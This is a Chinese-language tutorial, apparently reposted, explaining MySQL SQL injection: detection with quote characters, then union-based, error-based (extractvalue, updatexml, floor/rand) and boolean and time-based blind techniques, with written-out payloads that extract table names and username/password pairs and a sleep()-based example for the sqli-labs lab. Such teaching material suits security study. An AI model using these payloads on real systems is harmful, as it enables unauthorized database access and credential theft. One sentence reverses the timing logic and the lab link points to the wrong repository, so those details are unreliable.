漏洞原理篇---數據庫注入攻擊(Mysql)


數據庫注入攻擊

 

一、什么是數據庫注入攻擊。

  服務端在接收來自客戶端的查詢參數后,未對查詢參數進行嚴格的過濾。導致惡意用戶可在查詢參數中插入惡意的sql語句來查詢數據庫中的敏感信息,最終造成數據庫信息泄露。

 

二、注入攻擊的分類。

  按查詢數據的提交方式分為GET型注入和POST型注入。

  按查詢數據的類型分為數值型注入和字符型注入。

  按攻擊方式分為基於union聯合查詢的注入、基於報錯的注入、盲注(時間盲注、布爾盲注)

 

三、確定是否存在數據庫注入漏洞。

  舉一個簡單的列子,當存在以下圖片中的查詢頁面時,測試輸入1得到返回結果,可以在url欄中發現提交的查詢參數id是以get提交方式發送給服務器的。   

    

 

 

   當我們測試輸入1'  時,返回結果如下圖。當服務端解析執行到 1' 時,觸發sql語法報錯並返回報錯信息,此時可以確定存在字符型注入漏洞,閉合符為單引號。並推測服務端的查詢語句為

   "select user_name,user_id from users where user_id='$user_id' "

   

  

  確定存在數據庫注入漏洞后,需要我們去閉合插入參數之后的sql語句,以下為常用的方法。

  id=1' and '1'='1  //閉合后面剩下的 單引號

  id=1'#      //#為mysql中的注釋符,直接將后面的Sql語句注釋掉

  id=1'%23     //%23 為 # 的url 編碼

 

  小結:測試是否存在注入 id=1'   id=1"   id=1') 等等

 

 

四、數據庫注入攻擊方式的解析。

1,基於union聯合查詢的注入

 

  當存在注入時,使用union聯合查詢查詢數據庫中信息的步驟:

  (1)確定查詢字段。

    //使用union select 確定字段數

    id=1'union select 1,2,3..... and '1'='1    

    //使用order by確定字段數

    id=1'order by 1 %23

  (2)查詢當前數據庫名及數據庫信息。

  id=1' union select version(),database()%23

  (3)查詢數據庫中的表。

  id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()'%23

  //group_concat() 對一列數據做拼接,並自動以逗號分隔。

  (4)查詢表中的字段信息。

  id=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

  (5)查詢表格數據。

  id=1' union select 1,concat(username,0x7e,password) from users%23

  //concat()  對數據進行拼接,默認不會添加分隔符。

 

 

 

2,基於報錯的Mysql注入

 

 (1)floor() + rand() + group by 報錯

  基礎知識:

  floor(N) 函數,取小於等於N的最大整數。

  

 

  rand() 生成[0,1) 之間的浮點數,當設置種子為N時,生成的隨機數是偽隨機的,多次生成的數都是固定的。如圖floor(rand(0) * 2) 函數生成的隨機數依次為0110110等等。

  

 

  as alias_name,避免查詢復雜,將前面的語句取一個別名。

  group by,按照查詢的某個字段對查詢結果進行分組。在分組時會新建一個空表,用於存放分組數據。

  count() ,聚合函數,統計相同的元組個數。

   

  報錯語句

  select 1,concat(0x7e,(version()),0x7e,floor(rand(0)*2))as a from information_schema.columns group by a;    // 0x7e 為符號 ~,用於分隔參數

  //詳細原理分析,此處貼一鏈接:https://www.cnblogs.com/Triomphe/p/9489639.html

  

  

 

 

  (2)基於 extractvalue(xml_str,Xpath) 函數的報錯注入

    該函數使用Xpath表示法從XML 字符串中提取值,任意一個參數為NULL時,返回結果為NULL。當我們構造不符合規定的Xpath時,數據庫就會報語法錯誤並打印Xpath。

  如查詢語句 select extractvalue(1,concat(0x7e,(database()),0x7e)); 執行結果報錯,打印出了當前數據庫名信息

  

  

 

 

 

  (3)基於updatexml(xml,Xpath,new_xml) 函數的報錯注入

  updatexml() 函數使用new_xml 參數根據Xpath來替換xml字符串中的內容,和extractvalue() 函數的原理一樣,插入錯誤Xpath,報錯打印數據庫信息。

  如查詢語句select updatexml(1,concat(0x7e,(user()),0x7e),1); 執行后報錯,打印輸出了當前數據庫用戶為root

    

 

  

 

 

 

 

 3,盲注

  有時存在注入漏洞,但利用條件苛刻,需要插入更復雜的SQL語句進行注入。比如服務端執行SQL語句后,不會返回任何信息給客戶端 或者 只返回TRUE和FALSE 兩個值。這時就需要用到 時間延遲注入和布爾注入了,下面解釋這兩種注入方式的原理。

 

  (1)bool 注入

    當我們的查詢結果只返回TRUE 和 FALSE(對和錯)時,就需要我們對數據庫中的信息依次猜測並判斷,當我們猜測的信息正確時,服務端就會返回TRUE,否則返回FALSE。

    如語句 select database(),10=length(database()) ,判斷當前數據庫名的長度是否為10,為真返回1,否則返回0。

    

      

  布爾注入中,常用的Mysql 函數及語句

    length(),返回字符串參數的長度。用於判斷數據庫名、表名、列名等信息長度。

    substr(str,start[,length]),字符串截取函數,start為截取的起始索引(字符串索引從1開始),length為截取的長度。

    mid(str,start[,length]),    字符串截取函數

    ascii(),返回字符的ascii 碼值。

    limit 子句,用於限制查詢結果的返回數量,常用於分頁查詢,limit有1個或2個參數,查詢結果的索引起始為0

      如limit 0,1  從返回的第1條記錄開始截取,共截取1條記錄。

      如limit 2,3  沖返回的第3條記錄開始截取,共截取3條。

    

    當報錯信息超過32位字符時,只顯示前32位字符,此時需要使用mid()和substr() 函數對信息進行截取,來獲取之后的內容。

 

 

   (2)時間延遲注入

    當提交查詢參數后,固定回顯某一信息或無回顯任何信息,此時無法判斷注入的SQL語句是否執行,執行是否正確。這就可以用到時間延遲注入了。時間注入可以說是在bool注入的基礎上加以利用的。我們依然是對數據庫中的信息依次猜測並判斷,如果猜測內容為真,則執行我們插入的sleep() 函數。

  我們可以觀察瀏覽器的響應時間。當猜測正確時,我們提交的sleep() 函數會在服務端的數據庫上執行,這樣瀏覽器的響應時間就會有明顯的延遲,如果太大的延遲就說明猜測的內容錯誤。

  

  列舉 sqli-labs 靶場中的 Less-9,無論id的值為什么,都顯示You are in.....,這時可以提交如下SQL語句猜測數據庫中的信息,並觀察瀏覽器的響應時間確認猜測的內容是否正確。

  id=1' and if(8=length(database()),sleep(5),1) and '1'='1

  

   可以看到瀏覽器正在等待服務器的響應,證明語句 8=length(database()) 為真,執行了sleep(5) 函數。

 

 

 五,推薦

  最后推薦sqli-labs 靶場,多練習注入漏洞,加深對漏洞的理解及利用。

  sqli-labs:https://github.com/c0ny1/upload-labs

 

 

 

 

 

 

 

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM